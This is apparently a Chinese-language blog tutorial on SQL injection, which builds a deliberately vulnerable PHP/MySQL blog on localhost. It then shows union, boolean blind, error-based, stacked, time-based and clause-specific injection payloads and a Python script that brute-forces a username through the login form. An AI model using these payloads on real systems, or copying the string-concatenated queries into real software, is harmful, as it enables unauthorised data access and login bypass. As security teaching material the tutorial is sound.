Web_5_SQL注入
Charmersix

第一节 SQL基础

0x1 sql基本语法

sql作用

curd 通过sql语句,和数据库交互,实现增删改查操作

数据库

是一种软件,将数据以一定的格式保存在磁盘中,方便人们进行数据操作

数据库一般分为

  • 关系型数据库
  • 非关系型数据库
关系型数据库

采用了关系模型组织数据的数据库

二维模型可以简单理解为二维表格模型

常见的代表软件有:

  • Oracle

  • MySQL

    Maria DB 作为MySQL开源版本使用

  • SQL server

    微软数据库软件,win中广泛使用

  • access

    office产品数据库,后缀一般为mdb

非关系型数据库

也叫Nosql,泛指非关系型数据库

为了解决大规模数据集合多重数据种类带来的挑战,特别是大数据应用难题

典型代表

  • Membase
  • MongoDB

数据库与SQL

本地数据库

这里我们使用PHP study里面的MySQL,点击启动

使用navicat建立数据库和数据表

image-20221009140249121

我们在创建数据表时,可以将id设为键,然后递增

image-20221012214332333

这时候我们双击表格名字,就能看到它里面的数据,这些数据其实是软件帮我们执行了SQL语句后拿到的返回值填充到了可视化表格中

使用SQL语句查询数据

打开命令行界面,执行我们第一个SQL语句

select id,username,password from user;

image-20221009141108536

0x2 php操作数据库

php连接MySQL数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$username = "root";
$password = "root";
$host = "127.0.0.1";
$db = "blog";
$port = "3306";

$conn = new mysqli($host,$username,$password,$db,$port);

if($conn->connect_error){
die("数据库连接异常".$conn->connect_error);
}
else{
echo "success";
}

这时候我们访问127.0.0.1/conn.php.发现连接成功

使用php建立登录界面

首先我们写一个登陆的前端页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Charmersix_blog系统登录</title>
</head>
<body>
<center>
<br>
<h1>Charmersix_blog系统登录</h1>
<hr>
<form action="login.php" enctype="application/x-www-form-urlencoded" method="post">
账户:<input type="text" name="username"><br><br>
密码:<input type="password" name="password"><br><br>
<br>
<input type="submit" value="登录"><br><br>
</form>
</center>
</body>
</html>

image-20221009143140691

建立登录验证功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
include "conn.php";
$username = $_POST['username'];
$password = $_POST['password'];

$sql = "select id,username from user where username = '$username' and password = '$password'";

$result = $conn->query($sql); //sql语句传进去,和数据库交互

if($row = $result->fetch_array(MYSQLI_BOTH)){

//将交互结果反馈出来
echo "登录成功,欢迎".$row['username'];
$_SESSION['LOGIN']=true;
$a=<<<EOF
<a href="index.html" style="color: tomato">首页</a>
<a href="page_list.php" style="color: tomato">文章列表</a>
<a href="page_add.php" style="color: tomato">新增内容</a>
<a href="page_logout.php" style="color: tomato">退出登录</a>
EOF;
echo $a;
}
else{
echo "登录失败";
}
$conn->close();

增加文章录入功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
include "conn.php";

$title = $_POST['title'];
$content = $_POST['content'];
if(isset($title)&&isset($content)){
//以免插入空内容
$sql = "insert into page (title,content) values('$title','$content')";
$result = $conn->query($sql);
if($result){
echo "插入成功";
}
else{
echo "插入失败";
}
}
$conn->close();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Charmersix_blog文章录入</title>
</head>
<body>
<center>
<br>
<h1>Charmersix_blog文章录入</h1>
<hr>
<form action="login.php" enctype="application/x-www-form-urlencoded" method="post">
账户:<input type="text" name="title"><br><br>
密码:<input type="text" name="content"><br><br>
<br>
<input type="submit" value="提交"><br><br>
</form>
</center>
</body>
</html>

增加文章内容列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
include "conn.php";
$sql = "select id,title,content from page";
$result = $conn->query($sql);
if ($result){
$list = $result->fetch_all(MYSQLI_BOTH);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Charmersix_blog内容列表</title>
</head>
<body>
<center>
<br>
<h1 style="color: #ffb8e5">Charmersix_blog内容列表</h1>
<hr>
<ul>
<?php
foreach ($list as $p){
?>
<li>
<a href="page_detail.php?id=<?=$p['id']; ?>">
<?=$p['title']; ?>
</a>
&nbsp;&nbsp;&nbsp;&nbsp;
<a href="page_detail.php?id=<?=$p['id']; ?>">查看</a>
<a href="page_edit.php?id=<?=$p['id']; ?>"> | 修改</a>
<a href="page_delete.php?id=<?=$p['id']; ?>"> | 删除</a>
</li>
<?php
}
?>
</ul>
</center>
</body>
</html>

显示文章详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include "conn.php";
$id = $_GET['id']?$_GET['id']:1;
$sql = "select id,title,content from page where id = $id";
$result = $conn->query($sql);
if($result){
$page = $result->fetch_array(MYSQLI_BOTH);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title><?=$page['title'];?></title>
</head>
<body>
<center>
<br><br><br><br><br><br><br><br>
<h1 style="color: #ffb8e5"><?=$page['title'];?></h1>
<hr>
<p style="color: #ffb8e5">
<?=$page['content'];?>
</p>


</center>
</body>
</html>

增加文章编辑功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
include "conn.php";
$action = $_GET['action'];
if($action =="edit"){
$id = $_GET['id'];
$title = $_POST['title'];
$content =$_POST['content'];

$sql = "update page set title = '$title', content = '$content' where id =$id";
$result = $conn->query($sql);
if($result){
echo "修改成功";
}else{
echo "修改失败";
}
header("location:page_edit.php?id=$id");
}else{
$id = $_GET['id'];
if(!isset($id))
{
die("id不存在,不能修改");
}
$sql = "select id,title,content from page where id=$id";
$result = $conn->query($sql);
if($result){
$page = $result->fetch_array(MYSQLI_BOTH);
}
}


?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Charmersix_blog内容修改</title>
</head>
<body>
<center>
<br><br><br><br><br><br><br>
<h1 style="color: #ffb8e5">Charmersix_blog内容修改</h1>
<hr>
<form action="page_edit.php?action=edit&id=<?=$page['id'];?>" enctype="application/x-www-form-urlencoded" method="post" >

标题:<input type="text" name="title" style="background: rgba(255,255,255,0.5);color: rgba(255,255,255,1);width:200px" value="<?=$page['title'];?>"><br><br>
内容:<input type="text" name="content"style="background: rgba(255,255,255,0.5);color: rgba(255,255,255,1);width:200px;height: 250px" value="<?=$page['content'];?>"><br><br>
<br>
<input type="submit" value="修改"style="background: rgba(255,255,255,0.5);color: rgba(255,255,255,1)"><br><br>

</form>
</center>
</body>
</html>

<?php
$conn->close();
?>

增加删除功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include "conn.php";

$id = $_GET['id'];
if(isset($id)){
$sql = "delete from page where id =$id";
$result = $conn->query($sql);
if($result){
echo "删除成功";
}
}else{
die("id不存在,无法删除");
}
$conn->close();
?>

增加连接,提升可用性

我们加几个<a>

1
2
3
4
<a href="index.html" style="color: tomato">首页</a>
<a href="page_list.php" style="color: tomato">文章列表</a>
<a href="page_add.php" style="color: tomato">新增内容</a>
<a href="page_logout.php" style="color: tomato">退出登录</a>

设置权限

加个check.php

1
2
3
4
5
<?php
session_start();
if (!$_SESSION['LOGIN']){
header("location:index.html");
}

增加退出功能

1
2
3
4
5
6
<?php
session_start();
session_destroy();

header("location:index.html");
?>

0x3 总结

SQL语句

sql语句对数据库的增删改查,一般使用

  • select id,username,passw from user;
  • update page set title = 'page1',content='content1' where id = 1;
  • delete from page where id = 1;
  • insert into page (title,content) values('page','content');

PHP语句

  • conn = new mysqli()

    连接数据库

  • conn->query()

  • result->fetch_all()

  • result->fetch_array()

    多个用fetch_all()

第二节 sql注入

0x4 sql注入产生

动态页面中,get或者post提交参数,这个参数进入到了sql语句进行了数据库查询

简言之:非可信字符直接拼接进sql语句进行数据查询,就会造成sql注入

0x5 sql注入的危害

  • 歪曲sql语句的查询结果
  • 泄露数据库中的敏感数据
  • 干扰查询结果绕过权限检查
  • 通过文件操作写入恶意代码

0x6 sql注入类型

数字型注入和union联合注入

数字型注入

http://127.0.0.1/page_detail.php?id=1%2b2

http://127.0.0.1/page_detail.php?id=2-1

如果可以查询到id=3和1的数据,就可以说明这里存在数字型注入,就可以与union联合注入相结合

union联合注入

select id,title,content from page union select id,username,password from user;
我们可以看到

image-20221013212734008

同理我们回到我们网站http://127.0.0.1/page_detail.php?id=1 union select id,username,password from user;

很遗憾这里没有显示出我们想要的数据

image-20221013213004675

因为在网页中这里只能显示出两条数据,我们可以加个limit来限制显示的哪两条数据

比如这里image-20221013213433660

就可以展现出我们想要的数据

当然我们也可以使用group_concat将所有的数据写入到一行输出

image-20221014193934137

那么问题又来了,如果我们不知道列名,表名甚至连几列都不知道,这时候我们可以用个order by

我们使用http://127.0.0.1/page_detail.php?id=1 order by 1

从1开始增加,一直增加到4

image-20221013215217718

这时候没有回显了,就可以说明我们这个数据表有四列

image-20221013215800131

那么我们怎么得到表名呢?在我们的MySQL里边有一个数据表是专门用来存表名的,在我们的information_schema里有一个TABLES,里面存着所有表的名字,在最后我们可以找到我们数据表的名字image-20221014190933162

那么怎么查这个表名呢,我们可以这样

image-20221014221255500

同理,我们回到我们的web页面 payload:1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 limit 1,1

image-20221014221504185

问题继续产生,怎么查询我们的列名呢 payload:1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='user'),3 limit 1,1

image-20221014223007215

这样我们就可以拿到我们列名,就可以按照最开始的查询语句来查询我们想要的数据

附上一张我们的结构图,方便查询我们需要的表名,列名

sql

字符型注入和布尔盲注

字符型注入

字符型注入和数字型注入最大的区别就是引号的包裹,我们修改下我们的page_detail.php中的id参数

改为

1
$sql = "select id,title,content from page where id = '$id'";

那么我们怎么来判断是字符型注入呢

首先我们看一下image-20221015214844187

然后看一下1a

image-20221015214929873

但是如果我们源码里是数字型的话,这边应该是没有任何数据返回的image-20221015223444594

这里我们会发现着两组数据是一样的,接下来我们看a1

image-20221015215021975

这时候我们会发现并没有任何回显,那么这是为什么呢,我们来到MySQL试一下image-20221015215335376

字符串转为数字后是拿第一位来判断,如果第一位是数字,那么字符串就是数字如果是字母,那么1=a显然不对,返回0

字符型SQL注入重点就是要闭合单引号或者双引号

布尔盲注

当我们没有明显的回显点,只能得到两种结果,比如页面报错/页面没报错,这时候,我们可以用布尔盲注来猜

  • 当我们猜对的时候,页面没有报错
  • 当我们猜错的时候,页面报错

基于这个原理,我们能够通过发送大量请求,来猜出所有的数据

这里我们可以拿login.php来试一下,这里我们需要用一个or,在SQL中,or前后只要成立一条命令,该命令就成立;我们还需要用到一个substr(),用于截取对应字段的指定长度

SUBSTR(string ,pos,len)

string:指定字符串

pos:规定字符串从何处开始,(这里的第一个位置是1而不是0)为正数时则从字段开始出开始,为负数则从结尾出开始。

len:要截取字符串的长度。(是从1开始计数而不是0)

比如image-20221016221249867

image-20221016221227095

基于这个道理,我么就可以判断出用户第一位是a,我们也就可以写一个bool盲注的脚本,来猜出我们的用户名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://127.0.0.1/login.php"

users = "abcdefghijklmnopqrstuvwxyz"
user = ""
for i in range(10):

for u in users:
data={
"username":"123' or substr(username,{},1)='{}' and id = 1#".format(i,u),
#这里的井号可以换成--空格,来注释掉后边的语句,有些版本也可以用--A
"password":"123"

}
response = requests.post(url=url,data=data)
if "page_list.php" in response.text:
user += u
break
print("正在盲注第{}位".format(i))


print("用户名为:"+user)

报错注入

没有回显的情况下,获取数据时,使用布尔盲注需要发送多次请求,效率比较低,我们可以尝试根据报错信息带出数据

只要我们把需要的数据写入报错信息中,页面中显示报错信息的时候,就会把我们所需要的数据带出来

所以,报错信息,一定程度上也可以看作是一种通道

首先修改一下我们的login.php,增加如下代码

1
2
3
if($conn->errno>0){
die($conn->error);
}
updatexml报错

函数updatexml(XML_document,XPath_string,new_value)包含三个函数

第一个参数是string格式,为XML文档对象名称,例如doc

第二个参数是路径

第三个参数是替换查找符合条件的数据

原理:输入错误的第二个参数,更改路径的符号,使其报错带出我们想要的数据

payload:username=123' or updatexml(1, concat('[',(select user()),']'),3)%23&password=123

image-20221018212700518

那么问题来了,这个[]or{}甚至是~的作用是什么,根据updatexml函数可以看出,第二条数据是xpath,Xpath是一门从html中提取数据的语言,这里我们们如果不加符号,会发现无法返回想要的数据,而这些符号的作用就是选中这些区块,使他们成为一个整体,然后从HTML中显示出来

同理,我们可以拿到表名 payload:username=123' or updatexml(1, concat('[',(select group_concat(table_name)from information_schema.tables where table_schema=database()),']'),3)%23&password=123

如果flag过长无法显示时,我们可以使用这种方法1 union select 1,updatexml(1,concat('[',right((select flag from sqli.flag),31),']'),1)

意思是从右边读取31位,两部分拼接起来就可以了
image-20221018214325643

floor 报错

select count(*) from users group by concat(database(),floor(rand(0)*2));

select count(*),concat(database(),floor(rand(0)*2)) as x from users group by x;

整数溢出报错
exp报错

基于一个数学函数,取e的x次方,当我们输入的值大于709就报错,适用版本:5.5.55.5.49,取反运算符的值总会大于709

注意:这里必须使用嵌套,因为不适用嵌套不加select * from无法大于整数溢出

payload:username=123' and exp(~(select*from(select group_concat(table_name)from information_schema.tables where table_schema=database())a))%23&password=123

pow报错

pow函数简介:

  1. 功能: 计算x的y次幂.
  2. 返回值: x不能为负数且y为小数, 或者x为0且y小于等于0,返回幂指数的结果
  3. 返回类型: double型, int,float会给予警告

pow(x,y)表示计算x的y次方,当计算值过大时,会发生double溢出,数据库报错

image-20221018221022700

cot报错

cot函数简介:

cot函数是三角函数,cot坐标系表示: cotθ=x/y,在三角函数中cotθ=cosθ/sinθ

x取值无限接近于0和Π的整数倍,取0或Π的整数倍报错

payload:select * from user where username='1' and 1=1 and cot(0);

不存在函数报错

如图

image-20221018221644309

我们就能拿到数据库的名字

堆叠注入

如果目标开启了多语句执行的时候,可以采用多语句执行的方式修改数据库的任意结构和数据,这种特殊的注入就是堆叠注入

堆叠注入一般用分号;来分割多条语句,堆叠注入的情况下,还可以进行变量定义、定义存储过程、实现复杂语句等高级功能

最简单的堆叠注入如下:

select * from user;select * from page;

这里和联合注入的最大区别就是

image-20221018222217218

而且堆叠注入的两条语句可以查询不同的列数,但是联合查询的列数必须是相同的

时间盲注

基于时间的盲注,总体思路和布尔盲注有些类似,通过sleep等函数的使用,在满足猜测条件时,人工进行延时,通过延时这种信号来反映出我们猜测的结果

所以,在一定程度上页面发响应的时间也可以作为一种信道来使用

基于时间延时的盲注: SLEEP

函数sleep,使用说明:

睡眠(暂停)时间为duration参数给定的秒数,然后返回0,若sleep()被中断,它会返回1

select * from table where id=1 and sleep();

image-20221018223719639

因为这里用and连接,虽然成功执行了sleep(1),但是执行sleep函数返回的是0,所以查询语句无法正确执行

or在匹配时会匹配所有的数据,由于这里我们不止有id=1的数据,所以会在4.04秒后才执行完毕

配合if条件触发延时

IF(expr1,expr2,expr3)

如果expr1是true(expr1<>0 and expr1<>NULL),则IF()的返回值为expr2; 否则返回值则为expr3. IF() 的返回值为数字值或字符串值, 具体情况视其所在语句而定.

image-20221019204619155

意思是查询,然后如果2>1就sleep1秒,否则就替换为1

或者可以这么说,如果2>1就返回1,否则就替换为0

image-20221019205757544

同理可得,配合布尔盲注

image-20221019205451347

截取函数

substring()substr()

SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)

substr(string,start,lenth) 参数同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度

substring_index() substring_index(str,delmi,count) 说明:substring_index(被截取的字段,关键字,关键字出现的次数)

配合select case when条件触发

SQL CASE表达式是一种通用的条件表达式,类似于其他语言中的if/else语句

例如:

select case when username="admin THEN'admin ' ELSE 'xxx' end from user";

select case when username="admin" THEN 'aaa' ELSE (sleep(3)) end from user;

基于时间延时的盲注:逐字注入

能够截取字符串,同时能触发延时即可

select * from table where id =1 and (if(substr(database(),1,1)='u',sleep(3),null));

select * from table where id =1 and (if(ascii(substr(database(),1,1))=100,sleep(3),null));

基于时间延时的盲注:benchmark

除了sleep之外的时间延时注入,还有BENCHMARK(count,expr)

BENCHMARK()函数重复count次执行表达式expr。它可以被用于计算MySQL处理表达式的速度。结果通常为0

select benchmark(10000000,sha(1));

image-20221019213336643

基于时间延时的盲注:笛卡尔积

除了sleep之外的时间延时注入,还有笛卡尔积

笛卡尔乘积是指在数学中,两个集合XY的笛卡尔积(Cartesian product),又称直积,表示为X×Y,第一个对象是X的成员而第二个对象是Y的所有可能有序对的其中一个成员 [3] 。

假设集合A={a, b},集合B={0, 1, 2},则两个集合的笛卡尔积为{(a, 0), (a, 1), (a, 2), (b, 0), (b, 1), (b, 2)}。

类似的例子有,如果A表示某学校学生的集合,B表示该学校所有课程的集合,则A与B的笛卡尔积表示所有可能的选课情况。A表示所有声母的集合,B表示所有韵母的集合,那么A和B的笛卡尔积就为所有可能的汉字全拼。

设A,B为集合,用A中元素为第一元素,B中元素为第二元素构成有序对,所有这样的有序对组成的集合叫做A与B的笛卡尔积,记作AxB.

笛卡尔积的符号化为:

A×B={(x,y)|x∈A∧y∈B}

例如,A={a,b}, B={0,1,2},则

A×B={(a, 0), (a, 1), (a, 2), (b, 0), (b, 1), (b, 2)}

B×A={(0, a), (0, b), (1, a), (1, b), (2, a), (2, b)}

slect count(*) from user A,user B;

基于时间延时的盲注:get_lock()

除了sleep之外的时间延时注入,还有:GET_LOCK(str,timeout)

说明:设法使用字符串str给定的名字得到一个锁,超时为timeout秒

select get_lock('a',10);

image-20221019214126644

tip: 设置锁后需要重新开一个窗口并且是长连接才会有效

基于时间延时的盲注:RLIKE

除了sleep之外的时间延时注入,还有:RLIKE

通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeats的参数可以控制延时长短

二次注入

针对无法直接注入的情况,通过把sql语句注入到数据库中,当程序从数据库中拿出数据的时候,默认是安全的,这时候进行拼接的时候,就会出现二次注入的情况

0x7 不同的注入点的对应技巧

注入点拼接在sql语句的不同位置,sql注入的利用方式也不尽相同,这里我们研究不同位置下的sql注入

select注入

附官方文档:https://docs.oracle.com/cd/E17952_01/mysql-5.6-en/select.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr] ...
[into_option]
[FROM table_references
[PARTITION partition_list]]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[into_option]
[FOR UPDATE | LOCK IN SHARE MODE]

into_option: {
INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name] ...
}
注入点在select之后,from之前

可以通过as别名将数据直接覆盖带出,比如正常查询是这样的

select username from user;

我们就可以这样利用select (select password) as username from user;

image-20221019220833245

注入点在引用表

这里分两种情况,如果表名被反引号包裹,需要现闭合反引号,这时候我们可以子查询

正常情况为:select title, content from page

加入子查询后:select title,content from (select user() as title,'aaa' as content) as b;

这样就可以通过title列把user()数据带出

注入点在where条件以后

这里我们可以使用union联合查询

注入点在group by或者order by之后

正常情况下为:select id,title,content from page order by 注入点;

这里可以配合时间盲注select id,title,content from page order by id ,if(substr((select username from user where id =1),1,1)='a' ,sleep(1),1);

注入点在limit之后

select id,title,content from page order by id limit 注入点;

由于limit之后,只能是数字,可以使用procedure analyse语法来实现报错注入,但是这种方式只能是MySQL5.6以前使用

select title,content from page limit 1 procedure analyse(updatexml(1,concat(0x3a,version(),0x3a),1));

insert注入

附官方文档:https://docs.oracle.com/cd/E17952_01/mysql-5.6-en/insert.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE]
[INTO] tbl_name
[PARTITION (partition_name [, partition_name] ...)]
[(col_name [, col_name] ...)]
{VALUES | VALUE} (value_list) [, (value_list)] ...
[ON DUPLICATE KEY UPDATE assignment_list]

INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE]
[INTO] tbl_name
[PARTITION (partition_name [, partition_name] ...)]
SET assignment_list
[ON DUPLICATE KEY UPDATE assignment_list]

INSERT [LOW_PRIORITY | HIGH_PRIORITY] [IGNORE]
[INTO] tbl_name
[PARTITION (partition_name [, partition_name] ...)]
[(col_name [, col_name] ...)]
SELECT ...
[ON DUPLICATE KEY UPDATE assignment_list]

value:
{expr | DEFAULT}

value_list:
value [, value] ...

assignment:
col_name = value

assignment_list:
assignment [, assignment] ...
注入点在要插入的表名

通过劫持要插入的表,可以增加文章,这时候也可以增加一个用户表数据进去

正常情况下这样:insert into page (title,content) values("page1","content1");

当我们可以控制表名的时候,就可以劫持插入insert into user(username,password) values("111","111");#(title,content) values("page1","content1");

image-20221020180130184

注入点在插入的值

insert into page(title,content) values("注入点","xxx");

insert into page(title,content) values("123","123"),("456",(select user()));#","xxx");

image-20221020215901080

update注入

注入点在set后边

和上面insert利用方法相似,可以通过修改多条数据实现数据回显

update page set title = "注入点" where id = 1;

我们可以通过这种方式注入

update page set title = "123",content = (select user()) where id = 5 ;#" where id = 1;

注入后,我们可以实现

update page set title = "123", content = (select user()) where id = 5;

image-20221020223813925

注入点在values后面

如果注入点在value中,我们同样可以闭合括号,实现多个记录的修改,类似于insert方法

delete注入

注入点在where之后

这里如果不小心就会删除表内所有的数据,所以需要一个特别的技巧

由于select sleep(1);恒返回0,所以在delete注入时,要确保不会影响表数据,造成下次没办法利用,所以我可以在注入点后

delete from page where id = 1 and sleep(1);

确保不会真的删除表数据

delete from page where id = 1 1 or updatexml(1, concat(0x7e, database()), 0) and sleep(1);

注入点在表名中

可以使用报错注入回显数据,避免数据被删除

 Comments